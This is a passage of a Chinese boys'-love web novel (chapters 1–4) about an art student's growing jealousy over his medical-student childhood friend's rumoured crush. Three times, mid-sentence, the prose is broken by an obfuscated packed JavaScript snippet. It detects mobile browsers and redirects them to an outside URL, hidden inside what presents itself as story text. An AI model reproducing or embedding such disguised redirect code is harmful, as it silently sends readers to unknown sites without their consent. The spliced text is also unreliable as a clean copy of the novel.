《冷面竹马忍不住偷亲我》 1. 第 1 章 人群如潮水般从剧院门口涌出,而潮水的中心,是刚刚换下华丽戏服,却依旧光彩夺目的一个人。 明明只穿着简单的白色衬衫和牛仔裤,微卷的栗色头发软软地搭在额前,表情上甚至带着几分卸妆后的疲惫,可是就是让人觉得……美好得不可方物。 “这根本就是话剧社门面啊……” “敢不敢让我用这张脸活一天??” “搞什么啊?这么好看的人演的为什么不是主角?” “谢谢!你实在是太漂亮了!”站在江凝云面前的女生抱着刚刚和他合完影的手机,激动得直跺脚,眼睛里亮着星星。 面对这些围着他的同学和夸赞,江凝云礼貌地牵起嘴角,点头笑了一下,“不用客气。” 话落,一双极其漂亮的桃花眼弯了弯,眼尾微微翘起。 不论是明面上的夸奖,或者有些人经过他身边屏息的动作,还是他们和朋友窃窃私语地谈论他,他都看在眼里。 习惯了。 又合了一张,江凝云退后半步,朝所有人微微颔首,歉意地笑笑,“我有点事得先走了,抱歉。” 在众人此起彼伏的惋惜声中,终于终止了这场小型合影会,转身走向剧院门口约定好的地方。 秋日里的夜风带着凉意,让他的心中反而平添了几分烦闷。 一个年轻男生正靠在门口的柱子上玩手机,吊儿郎当,见江凝云过来,抬了抬下巴,“哟,大明星合影结束了?” 这是江凝云的好友林寓,和他同样是N大美术系的大一新生。 知道这是在打趣他,江凝云抿唇无奈地盯着林寓,“你话太多了。” 他的目光不自觉地落在面远处车流闪烁的光影上,听到林寓在耳边夸夸不绝。 “你太绝了江凝云!你一出场我感觉都没主角什么事了,简直闪瞎所有人的眼睛,我就知道会有很多人想拍你,还好我先走了,要不然我刚才非得被挤死不可。” 林寓抓了抓头发,“虽然我觉得我也长得挺帅的,但站你旁边简直是暴击,我还是挺有自知之……” 又来了。 江凝云带点力道拍了几下林寓的肩膀,打断道:“行了行了。” 他知道自己长得好看,从小到大因为容貌受到的赞誉数不胜数,怎么讲呢,就像富二代不在意每月几万的零花钱一样,他也不太在意这些有的没的夸奖。 因为实在听到太多了。 似乎是注意到江凝云的心不在焉,林寓不禁开口道:“回去早点休息吧,今晚就别熬夜画图了。” 说到这里,他突然想起什么,语气变得八卦,“对了,你那位平时形影不离的好发小兼室友呢?陆时衍今天怎么没来?” 也不怪林寓这样说,这才开学两个多月,江凝云一来就搬出了宿舍和人住在一起,平时更是好几次在江凝云身旁看到陆时衍的身影。 按理来说,这种重要场合,陆时衍绝对不可能缺席啊。 提起这个江凝云就来气,原本稍微平复的心情又瞬间燃起了一簇小火苗,他皱了皱鼻子,语气硬邦邦的:“他有事。” 陆时衍昨天去隔壁市参加一场学术报告会,明明说好报告会结束就来的,结果在开场前两个小时突然打电话说来不了了。 电话里,陆时衍解释了来不了的原因,本来要汇报的师兄临时生病了状态不好,只能由他这个大学小师弟临时顶上了。 虽然江凝云知道这也不能怪陆时衍,医学生本来就忙,陆时衍又是那种本硕连读的卷王学霸,进组早一点也很正常。 但他还是很生气。 听江凝云说完,林寓若有所思地点点头,“学霸果然忙。” “诶,对了。” 林寓的眼睛突然亮起来。 “话说,你这位卷王朋友有对象吗?” 不得不说,八卦是人类的本性,对于林寓这种本身就不着调的人来讲,更是有着超群的吸引力。 虽然谈恋爱对大学生来讲是一件很正常的事情,但是江凝云的心中还是闪过了一丝微妙的不悦。 第三次。 这是他今天第三次不开心了。 两次都是因为陆时衍。 等他回来了,一定要让他狠狠赎罪。 江凝云恶狠狠地想。 “我不知道!” 他知道朋友只是八卦一下,但那一瞬间他还是有一种不舒服的感觉,“你问这个干嘛?” 林寓看到江凝云这种护食一样的态度,觉得新鲜,眉头挑得老高,“干嘛?不给问啊?” “行吧。”林寓耸耸肩,”不过听说他们医学院的谈恋爱要么很早要么很晚,陆时衍那长相那能力,应该不至于沦落到单身好几年的程度吧。“ 江凝云秀气的眉眼皱起来,“有完没完?” 林寓赶紧求饶:“我错了我错了,王子公主大人。” “我叫到车了,一起回去?”林寓晃了晃手机。 江凝云的表情出现了一瞬间的不自然,“你先回去吧,我等陆时衍。” 林寓:“?” 他听到了什么?? “我认识你这么久,你江大少爷还有等人的一天?”那表情活像见了鬼。 江凝云不耐烦地啧了一声,“我们两个住一块嘛,我勤俭持家,省打车费不行吗?” 林寓满脸写着“信你才有鬼”,敷衍道:“行行行,江少爷说什么都行,那我先走了?” 然后离开得跟阵风似的。 晚秋的N市还是有些冷,江凝云垂眸看了眼表。 五分钟。 陆时衍已经迟到整整五分钟了。 他蹙了蹙眉,转身准备离开。 一辆黑色的车悄无声息地在他面前停下。 后座车门打开,一个身姿颀长的男生利落地下车,绕过车尾,快步走到江凝云身侧,非常自然地替他拉开了这一侧的车门。 江凝云挑了挑眉。 是陆时衍。 司机透过半开的车窗,忍不住多看了一眼。 这还是刚才车上那个全程冷着脸、拒人千里的年轻人吗? 从上车开始就没说过一句话,和他搭话也不怎么回,这会儿下车接人,眉眼间的冷淡却像被什么化开了似的。 陆时衍的声音本就清润好听,此刻面对明显带着情绪的江凝云,更是下意识地放轻,带着不易察觉的哄慰:“走吧,我们回家。” 他似乎来得很急,连衣服都没来得及回家换,看着就像是刚从学术报告会赶过来的,他穿着简单的白衬衫,袖口随意地挽到小臂,露出线条流畅的手腕。 就是缺个领结。江凝云不合时宜地想。 但他没说话,眉眼垂垂,立刻将陆时衍手里拎着的伴手礼接了过去。 然后,像一只矜贵的猫似的,从鼻子里轻轻“哼”了一声,脚步轻飘地坐了进去。 - 密闭的空间里,顿时只剩下轻微的呼吸声和车外模糊的喧嚣。 两天没看到江凝云,陆时衍的目光几乎无法从身边人身上移开,可面前的人显然是生气了,只留给他一个气鼓鼓的后脑勺。 陆时衍选择先打破这份平静。 “今天的演出还顺利嘛?我在来的路上看到学校官号发的视频了,”他顿了顿,“演得特别好。” “……” 回答他的是江凝云的沉默。 “…小凝…” 小什么凝!没看见我正在生气吗!? 江凝云一下子就忍不住了。 “你还敢说!” 他转回头,一双眼睛瞪得圆圆的,灼灼地盯着陆时衍:“报告会是上午结束的,我的演出下午三点才开始,陆时衍,你不想来可以直说!” 从A市到N市的通勤也算时间,报告会结束后和专家教授的寒暄交谈也算时间,吃饭午休...买一点A市独有的伴手礼,或者放松一下去景区转转都需要时间。 江凝云不是控制欲很强的人,可是只有在陆时衍面前,他才会放肆得如此理直气壮。 甚至带着几分他都不知从何而来的委屈。 他的唇色是自然的嫣红,唇形也很饱满,此时正紧紧地抿着,一副陷入沉思的样子,眉头却很鲜活的皱着,胸口因为急促的呼吸而有些起伏。 陆时衍呼吸一滞,心口像是被轻轻敲了一下。 他伸手,小心翼翼地从江凝云柔软的发梢上取下一片在剧院粘上的、亮晶晶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318917|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的装饰亮片,不动声色地把它攥进手心。 亮片的边缘扎着手心,微弱的痛感让陆时衍感到安心。他放低了声音:“你第一次演话剧,我当然很想来。” “原计划是能赶回来的,但你也知道,报告结束后就是有很多奇奇怪怪的事情需要善后,小凝…” 他微笑一下,像一只脾气很好的大型犬,“我发誓,我买了最近的车票,马不停蹄地赶回来。” 他一面说,一面从身旁拿出自己订的蛋糕,盒子是透明的,能清楚地看到蛋糕的上面立着一个卡通人物。 “这是我给你订的蛋糕。”陆时衍说话时,漆黑的瞳仁里亮着光,江凝云听出其中隐隐的期待。 “加上蛋糕的时间,正好多用五分钟…” 他声音很好听,身上带着男大学生特有的清爽气息。 五分钟三个字如同擦着江凝云的耳朵飘过,让他的脸不自觉地红了。 他低头看向蛋糕,那个卡通人物应该是自己演的角色,那精致程度看上去不像是短时间内能做完的,应该是提前很久定的。 人物的下面还有一行小字——庆祝江凝云演出圆满完成。 紧绷的肩膀线条稍微松弛了一点,但嘴上仍不肯轻易饶过,故意带着点刁难问道:“你知道我演谁吗?我还以为你什么都不知道。” “我怎么会不知道,”陆时衍接话很快,语气带着点被小看的无奈,“你演的是侍卫殷宏,虽然戏份不多,但在整场里是贯穿始终的关键人物。” 他的语气太过诚恳,动作又太过温柔,江凝云积攒了一晚上的委屈和怒气,像破了一个小口的气球,开始慢慢地瘪下去。 排练的这一个多月以来,陆时衍经常帮他一起对台词,明明是他去演话剧,陆时衍却比他还要认真。 江凝云在喉咙里哼了一声,“好吧,原谅你了。” - 江凝云的脾气来得快,去得也快。 心情由阴转晴,他立刻恢复了那副懒洋洋的做派。 回到家楼下,等电梯的时候,一阵疲惫感后知后觉地涌了上来。 他打了个小小的哈欠,眼睫上沾了点生理性的水汽。 江凝云往旁边挪了半步,几乎是无意识地,将一边的肩膀轻轻抵在了陆时衍坚实的手臂上,借点力支撑有些发软的身体。 “好累……”他含糊地嘟囔了一句,声音带着倦意。 陆时衍比他高了大半个头,倚靠起来倒是刚刚好。 从小到大,在他累极了的时候,总会习惯性地在陆时衍身边找个支撑,这几乎成了一种身体记忆。 温热的体温隔着薄薄的衣料传过来,陆时衍的身体几不可查地僵了一下,全身的肌肉都下意识地紧绷起来,呼吸也跟着屏住。 垂在身侧的手微微蜷了蜷,最终却只是稳稳地提着蛋糕,没有做出任何可能会越界的动作。 江凝云早就习惯了陆时衍偶尔的沉默,毕竟陆时衍本来就不算话多的人。 进门后,江凝云踢掉鞋子,轻唤着:“呼噜!呼噜!” 很快,一只胖乎乎的橘猫不知道从哪个角落钻出来,亲昵地蹭着他的脚踝。 江凝云抱起呼噜,脸颊埋进它温暖的皮毛里蹭了好一会,才心满意足地走向浴室。 在他看不见的身后,陆时衍俯身,以同样的角度,将脸埋进猫咪蓬松的背毛,深深呼吸。 洗完澡,江凝云顶着一头湿漉漉的头发出来,浑身散发着清新的水汽和白桃沐浴露的甜香,他拿着毛巾一边胡乱地擦着头发,一边习惯性地拿起手机。 屏幕上,林寓的未读消息跳了出来。 「链接:【八卦】李涛,医学院那位高岭之花陆时衍是不是有对象了,本来准备下星期告白,如果帅哥有情况了我就不打扰了。」 【林寓:啧啧啧,江凝云,之前还说你消息灵通,怎么样,这不是打脸了吗?】 【林寓:陆时衍有男朋友了!】 江凝云盯着那条消息和链接的标题,眼睛眨了眨,浓密的睫毛在眼下投下一小片阴影。 随即,他像是听到了什么极其荒谬的笑话,没忍住从鼻腔里发出一声轻蔑的、不易察觉的嗤笑: “怎么可能。” 2. 第 2 章 江凝云指尖随意地点开论坛链接。 页面加载出来,主楼还附上了两张明显是偷拍的照片。 一张是陆时衍穿着白大褂在实验室走廊行走的挺拔背影,肩宽腿长,光是轮廓就透露出生人勿近的气场。 还有一张是陆时衍坐在图书馆窗边,眼镜下的睫毛低垂,真在专注地看一本厚重的专业书,午后的阳光在他棱角分明的下颌线上投下一小片阴影。 “照片倒是拍得不错。”江凝云放大看了一下,点评道。 他的手指向下滑动,没想到居然能在这看到自己的名字。 [医学院哪有什么校草啊?我们学校不是只有一个校草江凝云吗?] [对啊,陆时衍谁啊?敢抢江凝云的校草名头。] [不对啊江凝云不是校花吗(bushi] [我竟然觉得楼上说得有道理。。] 江凝云无语,但总体对这些讨论自己的评论没什么感觉,不是很在意。 他继续往下滑,后面评论基本都在劝退楼主。 [是大二临床医学的那位陆时衍吗?楼主简直是勇士,居然想追他?!] [醒醒,这可是出了名的冷面帅哥,只可远观。] [我听说这一年里和他告白的人就没成功过,陆时衍一律拒绝。] [他肯定是单身啊还用问吗,这气场,像是有对象吗?] “……” 江凝云无奈地抿唇。 林寓就让我看这个? 他对林寓说的打脸两个字特别不爽,心里暗暗想着,要是没有实锤的话林寓你就完了。 江凝云加快滑动的速度,直接点下“按热度”。 一条被顶成热评的评论赫然闯入眼帘,像一根针,猝不及防地扎了他一下。 [别想了,陆时衍有喜欢的人了。] 你永远要相信大学生的吃瓜能力。 就这么简单的一句话,后面跟着上百个点赞和数十条楼中楼回复,迅速占领了这条帖子三分之一的篇幅,热闹得有些刺眼。 原本漫不经心的表情凝固了一瞬,秀气的眉头微微蹙起,江凝云顿了一下,点了进去。 层主估计是被追问得急了,开始讲述前几天他朋友和陆时衍告白时得到的回复。 [你们是不知道!我朋友当时终于鼓起勇气上了,结果陆时衍居然说:“抱歉,有喜欢的人了。”我朋友的心直接碎了一地。] 楼中楼评论立刻炸开了锅。 [层主你就说这朋友是不是你自己吧(狗头.jpg)] [该不会是陆时衍拒绝人的统一借口吧?] [以前和他告白的人没说过啊。] [我靠你们也不想想,这世界上只有勇士中的勇士敢和陆时衍搭讪好吗。] [如果是真的,那得是什么样的天仙才能入得了他的眼啊?好奇死了!] 江凝云本来是抱着看笑话的心情在浏览,觉得这不过是校园论坛里又一次无聊的捕风捉影罢了。 他见过陆时衍对其他人面无表情的样子。 肯定很挫伤对面的积极性。 但他越看越觉得奇怪。 下一秒,江凝云注意到层主后续补充的一条回复。 [我感觉真不是借口,陆时衍看上去不像在骗人,态度挺认真的,还说已经喜欢很久了。] 喜欢很久了。 这五个字像带着回音,在江凝云脑海里嗡嗡作响。 他停住往下滑的动作,下意识皱紧了眉头,甚至忘记了自己还在滴水的头发,几颗冰凉的水珠顺着脖颈滑进衣领,激得他微微一颤。 真烦。 …不对。 江凝云神色一滞。 他在烦什么? 林寓的消息还在屏幕顶端不停弹出来,带着八卦的急切: [看到了吗看到了吗?] [是不是真的啊?] [你看他们说得有鼻子有眼的!] 这要是不认识的人林寓还真不一定关心,但主角就在他身边,还是江凝云的发小陆时衍,这换谁能不好奇? 江凝云一时没回他。 而是开始认真地、一条条地翻阅起下面的评论,连原本随意站着的身子也不自觉站直了。 越看回帖,表情就变得越复杂。 脑子有点乱。 什么叫做,陆时衍有喜欢的人? 什么时候的事?为什么自己从来没听陆时衍说过? 他自认为,他和陆时衍的关系挺好的,有什么事都可以告诉对方一声。 而且,他们认识这么久了,陆时衍也很少有事瞒着他。 为什么这件事情他不知道? 陆时衍比江凝云高一级,江凝云想到,在他还在为艺考和高考焦头烂额的时候,陆时衍已经提前一年来到了N大。 那时候,他们经常通话或者视频,偶尔还会见面,陆时衍总是明里暗里地叮嘱他,高三了要专心,不要分心,不要谈恋爱,会影响学习。 结果呢?他自己倒好,只是提前上了一年大学,就有喜欢的人了? 要是真这样的话,那他是不是可以理解为,在他高三那段最难熬、最依赖陆时衍的日子里,对方心里就已经装着另外一个人了? 一种强烈的不悦感,混杂着被隐瞒的委屈和一丝说不清道不明的愤怒,瞬间把江凝云包围,让他有些喘不过气来。 他也不知道自己为什么会这么不舒服。 千言万语,最终在江凝云心里汇做一句带着怒气的控诉——这件事,到底是真的还是假的? 要是假的也就算了。 但要是真的,陆时衍有必要瞒着自己吗?有必要信誓旦旦地回答自己,完全没有喜欢的人吗? 江凝云最讨厌被人欺骗。 在江凝云正头脑风暴的时候,房间门被敲响。 是陆时衍的声音。 “头发没吹干对身体不好,你睡了吗?” 陆时衍是来看他有没有及时吹头发的。 他也是和江凝云住在一起之后才发现江凝云这个坏习惯——洗完头发总是随意擦几下就任由它自然风干,再加上现在是秋天,江凝云也只会说“不冷呀又不会感冒”。 第一次发现的时候,陆时衍皱着眉说了好几遍,江凝云都说不要,抬着下巴理直气壮地耍赖:“麻烦死了,如果你不嫌烦的话,那你帮我好喽。” 想着这样总能让陆时衍别唠叨了,结果陆时衍竟然还真不嫌麻烦帮他吹上了,一吹就是好久。 “我进来了。” 陆时衍推门而入,一眼就看到江凝云光着脚站在地毯上,手上的手机屏幕亮着,发尾又几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318918|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处明显还在往下滴水,在浅色的睡衣肩头洇开一片深色的水渍。 在看什么?那么入迷。 陆时衍眯了眯眼,正想说这样会感冒,就看到江凝云转过头来,眼睛睁得圆圆的,像只被侵犯了领地的小豹子,此时正气鼓鼓地看着他。 表情是他从未见过的、混合着气愤和委屈的复杂神色。 “……” 陆时衍脚步一顿,心弦瞬间绷紧,这是怎么了? 他压下心头的疑问,走近捡起江凝云手边的毛巾,习惯性地想伸手帮他擦拭还在滴水的发梢。 江凝云却像是被触动了什么开关,猛地仰起头往后躲,避开了陆时衍的触碰。 他咳了一下,眉毛皱的样子有些不自然,“陆时衍,你是不是有什么事情瞒着我?” 空气仿佛凝滞了一瞬。 陆时衍呼吸几不可闻地停了一下,不知道江凝云指的是哪个。 他眨了一下眼睛,大脑开始飞速转动,以最快的速度选择了一个最不容易出错的、恰到好处的问句。 “什么?” 这是陆时衍不想正面回答一些问题时的方法,那就是顺着对方的话,把问题抛回去。 他很少糊弄江凝云的问题。 江凝云怎么会不清楚这是糊弄,还以为是陆时衍心虚,他用力地抿了抿唇,正想开口却毫无预兆地打了个喷嚏,“阿嚏——” 大概是刚刚光脚站久了,又或者是情绪激动,江凝云吸了吸鼻子。 陆时衍的脸色变了一下,“先擦干,别着凉了。” 他二话不说,强势又不失温柔地用毛巾裹住江凝云的脑袋。 江凝云不听他的,强行攥住陆时衍的手腕不让他擦,“等等你先别动!”硬是要扭过头来看陆时衍的眼睛。 他的力气不小,虽然比不过陆时衍,但他就是笃定了陆时衍不会挣脱开。 湿漉漉的头发被蹭得乱糟糟,更显得江凝云那双眼睛又亮又执拗,他微仰着头,不想再绕弯子,直入主题,问他:“你谈恋爱了吗?” “没有。”斩钉截铁的语气,没有一秒的犹豫。 手腕传来的温热和细腻让陆时衍微微失神。 听到这个答案,江凝云的态度稍稍软化了一点,但还是一动不动地盯着对方的眼睛。 “你看着我的眼睛说。” 陆时衍闻言垂下眼眸,与江凝云对视。 他的眼睛是深邃的凤眼,此刻在江凝云房间的柔和暖光下,像幽深的潭水,平静无波,清晰地倒映出江凝云带着点狐疑的脸。 心跳不受控制地加速。 江凝云眯起了眼,在这片漆黑的深潭里搜寻,找不到一丝一毫说谎的痕迹。 行吧,其实他也觉得不可能。 陆时衍怎么可能有事瞒着他? 肯定是论坛的人在胡说八道。 意识到是自己误会后,江凝云的心情奇异地好转了一点,他“哦”了一身,很自然地转身背对陆时衍,小声嘟囔道:“我随便问问。” “嗯。”陆时衍的声音听起来很镇定。 直到在江凝云转过身去的刹那,他才极轻地舒了一口气,紧绷的后背肌肉骤然放松下来。 那双平日里看谁都冷淡的眼睛,此刻却落在江凝云湿漉漉的发梢上,眼底藏着连自己都没察觉的温柔。 3. 第 3 章 江凝云特别喜欢陆时衍帮他吹头发。 温暖的风拂过湿发,陆时衍修长的手指在他发间穿梭,动作轻得恰到好处,江凝云舒服得眯起了眼睛,像只被妥帖照顾的猫,餍足地蜷缩在这份安全感里,彻底将论坛上的那些事忘在了脑后。 然而在第二天,这份安全感就被打破了。 秋日的阳光透过落地窗,在江凝云的房间里投下温暖的光斑。 他一觉睡到自然醒,趿拉着拖鞋,揉着惺忪睡眼走出房间,想给自己倒杯水喝。 客厅里,陆时衍正坐在沙发上,姿态是惯常的放松。 吸引江凝云目光的,是陆时衍脸上那抹极淡、却又无比清晰的笑意。 心跳毫无预兆地漏了一拍。 一种熟悉又讨厌的不舒服感,再次悄无声息地漫上心头。 看得那么入神吗?连我开门的声音都没听见。 他太熟悉陆时衍了。 熟悉面对无关紧要的事情时,陆时衍总是很吝啬给予任何情绪反馈。 而且陆时衍也不爱看那些搞笑视频,对网络的热梗常常后知后觉,他很少、几乎可以说是从未,这样对着手机屏幕独自发笑。 “……” 既然不是看搞笑视频,那就是在和谁聊天? 一个念头不受控制地窜入脑海。 难道在和暧昧对象聊天? 这个可能性让江凝云瞬间搞到感到一阵无名火起。 昨天晚上不是信誓旦旦地说没在谈恋爱吗? 江凝云深吸了一口气。 谈了就谈了,告诉我就是了,瞒着我算什么? 对着个手机屏幕笑成这样,不仅连半个字都不跟我透露,还要欺骗我。 有必要吗? 我是什么外人吗? 作为朋友,这点小事也要刻意隐瞒吗? 难道那个人对陆时衍来说就这么重要,要这样藏着? 到底是什么样的人,能让他这么珍而重之,连对我都要保密。 一连好几个问句,像失控的弹幕一样在江凝云脑海里疯狂滚动,让他的心情从一大早就开始变得有点差。 这是陆时衍的私事,江凝云觉得自己不应该过问,再说他从来不是把别人的感情放在心上的那种人。 学校里那些追他的人,他连名字都记不住,更别说去关心谁和谁在一起了。 什么时候需要他去在意别人的感情状况了? 总是追着问,好像破了自己的人设,显得他多在意似的。 可是“陆时衍到底在干嘛”这个念头一起来,江凝云的心里就像是长了草一样,让他做什么都不自然。 这种心神不宁的感觉让江凝云格外烦躁。他刻意避开陆时衍的目光,径直走向冰箱,拿出一小罐冰牛奶用力握在手中,试图用冰凉的温度压下心头那点莫名的火气。 陆时衍抬头和他打招呼,江凝云心里有气,装作没看到,握着牛奶原地离开。 可脚步像是被什么无形的线牵引着,即将在走进房门的一瞬间,江凝云又鬼使神差地刹住,极其不自然地滑了回来。 “你在笑什么...?” 陆时衍愣了一下,似乎没想到他会关心自己在看什么,将手机屏幕转向江凝云:“想知道?” “……”陆时衍的顺从反而让江凝云有些措手不及。 江凝云自认为他并不是一个不讲道理的人,也知道窥探别人的隐私是不对的,哪怕这个人是陆时衍。 他梗着脖子,维持的那点气势弱了几分:“不想看。”语气硬邦邦的。 “只是好奇,能让你笑成这样的内容可不多见,搞笑视频?” 陆时衍闻言又笑了一下,把手机彻底转向江凝云的方向。 搞什么嘛... 等到看清屏幕内容,江凝云彻底愣住了。 画面上,赫然是他昨天话剧演出的官方剪辑视频。 正好定格在他扮演的侍卫殷宏,在宫廷阴影中,望向皇子时那个复杂又隐忍的眼神。 “……” 他有点后悔说这是一段搞笑视频了。 江凝云顿时恼羞成怒。 他沉默了一会,抿了抿唇,才憋出来一句:“这是艺术,艺术,欣赏艺术的时候要抱着敬畏之心,你老笑什么?更何况这话剧的最后是悲剧收尾,宿命轮回你懂吗?灵魂弧光你懂吗?你笑什么!” 虽然嘴上喋喋不休,但耳尖却不老实地泛起了红。 陆时衍顿了一下,收回目光,忍下嘴边的笑意,“你说得对。” “不过就是因为我没有艺术素养所以才想多看看嘛,怎么,看到喜欢的戏剧还不准微笑了?你好霸道啊。” 江凝云觉得陆时衍在逗他,但他没有证据! 脸更红了一点。江凝云嘴唇翕动了两下,半天没发出声音,而后转身气冲冲地甩上门:“随便你!” 盯着被关上的房门看了好一会,陆时衍才将视线转回手机。 他刚才笑,确实是因为江凝云的演出视频,但更直接的缘由,是好友徐洺恩发来的连环轰炸: [要不是我昨晚听到有人说江凝云去演了话剧,我还真信了你是有事才推辞了小组聚餐。] [又去接心选哥了?] [小陆哥,你有没有听过这么一句话,喜欢就去追?] 后面的消息也大多是这样的,隔着屏幕都能感受到徐洺恩那股恨铁不成钢的急切。 陆时衍垂眸,在手机上敲字,“有些事情你不了解。” 结果还没等他发过去,徐洺恩的消息就又回了过来: [你不是学习能力很强吗?你不会学着告白吗?你可以学着网上那样买一大束玫瑰花不是吗?] 正是这条消息,让陆时衍顿了一下。 他好久也没有回消息。 聊天框还在不断闪烁,陆时衍删删减减,最后只留下一句: “小凝现在不想谈恋爱。” - 这并非捕风捉影。 那是去年的一个下午,陆时衍刚刚结束一场重要的期中考试,才出考场拿到手机就感受到它震动了起来。 是江凝云。 他一边下楼一边接通视频。 对面的镜头有些晃动,最终定格在一张略显苍白的脸上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318919|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江凝云趴在堆满画稿的桌子上,几缕微卷的栗色头发被画笔蹭得有些乱,背景是散落一地的颜料管和几张被揉皱的速写纸。 漂亮的眼睛带着罕见的疲惫,一瞬不瞬地盯着镜头。 “…小凝。”陆时衍垂在身侧的手指蜷了蜷,突然很想抱他。 “陆时衍,”江凝云的声音有气无力,带着点明显的烦躁,“画画好难,考试也好难……为什么所有事都这么麻烦?” 陆时衍当时正穿过教学楼喧闹的走廊,见状快步进了旁边的消防通道,那里安静些。 “怎么了?”他问,声音不自觉地放低,“慢慢来,不着急,遇到什么问题了吗?” 江凝云却摇了摇头,没接他的话茬,而是没头没尾地抱怨起来:“……隔壁班那个人又来了。非要送我礼物,说了不要,还站在画室门口不走。” 他拿起一支炭笔,无意识地在废纸上用力划了几道黑痕,“被老陈看见,以为是我男朋友,气得他直接训了我一顿。” “我知道他是为了我好。但这老陈也真是的,我解释了好几遍我的眼光没那么差,他才相信那人不是我男朋友。” 江凝云蹙着眉,语气里是纯粹的不耐:“这些人好烦啊,为什么非要谈恋爱,自己没事情做吗?有这时间不如多画几张速写。” 陆时衍握着手机的手指微微收紧。 紧接着,江凝云抬起眼,目光穿过屏幕,似乎是想从他这里寻求一个肯定的答案: “陆时衍,你说,谈恋爱除了耽误时间、影响心情,还有什么用?一点意思都没有。” 画室里光线很好,能清晰地照出江凝云眼下的淡淡青黑。 陆时衍看到这样的江凝云,停顿了片刻。 而后他听到自己的声音,平稳地,甚至带着一丝过来人的劝导意味,清晰地响起: “嗯,你说得对。” 话落,屏幕里的江凝云眼睛微微亮了一下,似乎是很满意他的回答。 陆时衍让自己继续说下去:“高三是最关键的时候,任何可能让你分心的事情,都应该先放一放。” 他顿了顿,突然感觉喉咙有些发干:“感情的事,不确定性太高,容易影响情绪和状态。我身边……有同学就是因为这个,耽误了重要的竞赛。” 江凝云若有所思地点了点头,语气坚定地附和道:“是吧,我也觉得是负担。” “所以,小凝,现阶段我们……都先别考虑这些了。专注眼前必须完成的事,好吗?” “我们”这两个字,在安静的消防通道里,显得格外清晰。 “你有喜欢的人吗?”江凝云突然问。 陆时衍心跳倏地漏了一拍,回道:“没有。” 之后又聊了一些近况,在挂断视频通话之前,陆时衍明显发现江凝云的心情好转了不少。 通话结束后,陆时衍靠在墙壁上没有离开,很快,消防通道的感应灯就熄灭了,周围陷入一片昏暗。 他在黑暗中站了很久。 直到手机屏幕再次亮起,弹出江凝云发来的新消息: [我才不想谈恋爱,他们都烦死了。] 4. 第 4 章 “嘭!” 房门被江凝云有些用力地关上,发出一声闷响。 他背靠着门板,胸口微微起伏,手里还紧紧握着那瓶冰牛奶。 玻璃瓶身凝结的水珠濡湿了掌心,带来清晰的凉意,却压不住心头莫名涌起的那阵燥热。 江凝云胡乱地眨了几下眼睛,眼前晃动的还是陆时衍刚才对着手机屏幕、唇角轻扬的模样。 ……有什么好笑的! 不是搞笑视频也不早说。 他有气恼地想,都怪陆时衍,要不是他神神秘秘的样子,自己也不会胡思乱想。 害得他有点尴尬。 “喵——” 门外传来细软的抓挠声,是呼噜。 江凝云心下一软,立刻转身开门。 圆滚滚的橘猫迈着优雅的小步子晃进来,亲昵地蹭他的裤脚。他弯腰把它捞进怀里,脸颊埋进温暖蓬松的皮毛里蹭了蹭。 呼噜是他和陆时衍搬出宿舍那天在楼下捡的。当时还是瘦伶伶的一小只,脏兮兮地缩在纸箱边,江凝云只看一眼就走不动了。 他蹲在地上一下又一下地摸着小猫的脑袋,然后抬头望向陆时衍,眼神里带着很明显的期待:“我们能养它吗?” 毕竟他们住在一起,要养宠物的话,也得征求陆时衍的意见。 陆时衍当时什么都没问,回答得很快:“当然。” 一接到家,小猫就呼噜呼噜地响,所以他们一致赞成给它取名为呼噜。 现在,呼噜被养得毛色发亮,抱在怀里沉甸甸的。 江凝云感觉呼噜变得比昨天更可爱了。 江凝云揉着它的脑袋,指尖陷入柔软的绒毛,心情奇异地平复了些许,抱着呼噜坐回床边,另一只手点开了手机里最新收到的邮件。 发件人通过林寓联系上他,想买他前段时间在学院展出的作品《晨雾》,开价甚至超出了学生作品应有的范畴。 换成别人,或许早就答应了。 但江凝云不在乎这些。卖或不卖,全凭他一时心情。 而且他现在不是很想太轻易地把画卖了。 之前就发生过有人买他作品只是为了加他联系方式的事情,江凝云对此特别反感。 这次好像不一样。 对方显然做足了功课,邮件写得极长。 江凝云挑了挑眉,抱着猫,饶有兴致地读下去。 文字诚恳而克制,对方说第一眼就被画中那种将明未明的朦胧感吸引住,感受到了创作者细腻的等待与希冀。邮件末尾提到,想将这幅画送给一位很重要的人。 有几处解读,确实戳中了他下笔时那些未曾言明的心思。这人……挺懂。 江凝云唇角不自觉地勾起一个小小的弧度。 他没再考虑吧,回复了简短的“可以”。 对面几乎是秒回了收件信息,江凝云刚刚保存,房门就被轻轻敲响了。 